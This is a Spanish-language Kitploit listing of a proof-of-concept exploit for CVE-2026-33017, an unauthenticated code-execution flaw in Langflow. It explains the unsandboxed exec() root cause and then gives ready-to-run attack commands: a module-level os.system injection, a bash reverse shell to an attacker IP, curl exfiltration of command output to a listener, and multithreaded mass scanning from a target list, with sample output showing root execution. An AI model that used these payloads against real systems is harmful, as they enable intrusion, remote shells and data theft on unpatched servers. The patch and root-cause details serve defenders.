Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Una ejecución remota de código sin autenticación en Langflow <= 1.8.1 a través de Public Flow Build Endpoint | Kitploit
Herramientas/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Una ejecución remota de código sin autenticación en Langflow <= 1.8.1 a través de Public Flow Build Endpoint

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
104hace 5 mesesAún no revisado

CVE-2026-33017 — PoC de RCE no autenticada en Langflow

CVE CVSS Affected Language

Solo para fines educativos y pruebas autorizadas.

Resumen

Langflow <= 1.8.1 expone un endpoint público de construcción de flujos que acepta datos de flujo controlados por el atacante y que contienen código arbitrario. Ese código se pasa a prepare_global_scope() en validate.py, que llama a exec() sin sandboxing, lo que resulta en ejecución remota de código no autenticada con los privilegios del proceso del servidor.

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • Gravedad: Crítica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • Corregido: 1.9.0

Versiones Afectadas

PaqueteAfectadoCorregido
pip langflow<= 1.8.11.9.0

Detalles de la Vulnerabilidad

Causa Raíz

El endpoint build_public_tmp no está autenticado a propósito: está diseñado para que cualquiera pueda ejecutar un flujo público almacenado. El fallo es que también acepta un parámetro opcional data que contiene definiciones de flujo controladas por el atacante. Por lo tanto, un usuario no autenticado puede enviar código de nodo arbitrario que el servidor trata como un grafo de flujo legítimo y pasa directamente a las rutinas de ejecución de código sin validación.

La corrección es sencilla: eliminar el parámetro data y obligar al endpoint a llamar exclusivamente a build_graph_from_db(), de modo que los flujos públicos ejecuten únicamente datos almacenados y nunca código proporcionado por el atacante.

Cadena de Ejecución

La carga útil del atacante recorre la siguiente cadena de llamadas antes de llegar a la ejecución:

Por Qué Funciona la Inyección a Nivel de Módulo

prepare_global_scope() en validate.py procesa los nodos ast.Assign durante la compilación del grafo, antes de que se invoque cualquier método del flujo. Por lo tanto, una asignación de nivel superior en el código inyectado se ejecuta de inmediato:

root@kitploit:~
_r = __import__('os').system("whoami")  # se ejecuta en tiempo de compilación, no en tiempo de ejecución del flujo

La salida va al stdout del servidor, no a la respuesta HTTP. Para la exfiltración se requiere una devolución de llamada externa (reverse shell, webhook curl).

Endpoint Vulnerable

EndpointAutenticaciónVector de Ataque
POST /api/v1/build_public_tmp/{flow_id}/flowNingunaRemoto, no autenticado

Escenarios de Explotación

EscenarioRequisito
A — AUTO_LOGIN habilitadoAUTO_LOGIN=true: obtener un token JWT anónimamente, crear un flujo PÚBLICO, explotar
B — Flujo público conocidoSe conoce un UUID de flujo compartido/público: explotar directamente, sin autenticación

Uso

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

Opciones

Ejemplos

Importante: El PoC usa os.system() a nivel de módulo: el comando se ejecuta en el servidor, pero su salida va al stdout del servidor, no de vuelta en la respuesta HTTP. El PoC solo confirma que la ejecución ocurrió ([+] VULNERABLE). Para recibir realmente la salida del comando, use uno de los métodos de exfiltración siguientes.

Confirmación a ciegas (verifica la RCE sin capturar la salida)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

Reverse shell — con listener local

root@kitploit:~
# 1. Inicie un listener en su máquina
nc -lvnp 4444

# 2. Envíe la reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Exfiltración OOB mediante devolución de llamada HTTP — con servidor local

root@kitploit:~
# 1. Inicie un servidor HTTP local
python3 -m http.server 8080

# 2. Exfiltre la salida mediante una devolución de llamada curl
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

Con un UUID de flujo público conocido (sin necesidad de crear un flujo)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

Escaneo masivo desde archivo

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

Ejemplo de Salida

El PoC confirma que la ejecución ocurrió. [+] VULNERABLE significa que la construcción se realizó correctamente y que el código inyectado se ejecutó; no significa que la salida fue capturada.

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

Salida recibida en el servidor HTTP local:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

Referencias

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Repositorio de Langflow
  • Relacionado: CVE-2025-3248 — problema similar de exec() en /api/v1/validate/code
Descargar herramienta
PasoArchivoDetalle
1chat.py:580build_public_tmp recibe los datos del atacante en el cuerpo de la petición
2build.py:81start_flow_build() reenvía la carga útil no confiable
3build.py:298build_graph_from_data() la pasa a la construcción del grafo
4base.py:1168Graph.from_payload() deserializa las definiciones de nodo del atacante
5base.py:1323instantiate_component() se llama para cada nodo
6loading.py:43El campo code se extrae de los parámetros del componente personalizado
7eval.py:9create_class() recibe el código crudo del atacante
8validate.py:397exec(compiled_code, exec_globals) — sin sandboxing
FlagValor por defectoDescripción
--url—URL de un único Langflow objetivo
--url-file—Archivo de texto con una URL por línea (escaneo masivo)
--cmdidComando del sistema operativo a ejecutar en el objetivo
--flow-id—UUID de un flujo público existente (omite la creación del flujo)
--threads5Número de hilos paralelos para el modo masivo
--timeout15Tiempo de espera de la petición HTTP en segundos
--no-cleanupfalseConservar el flujo creado después de la explotación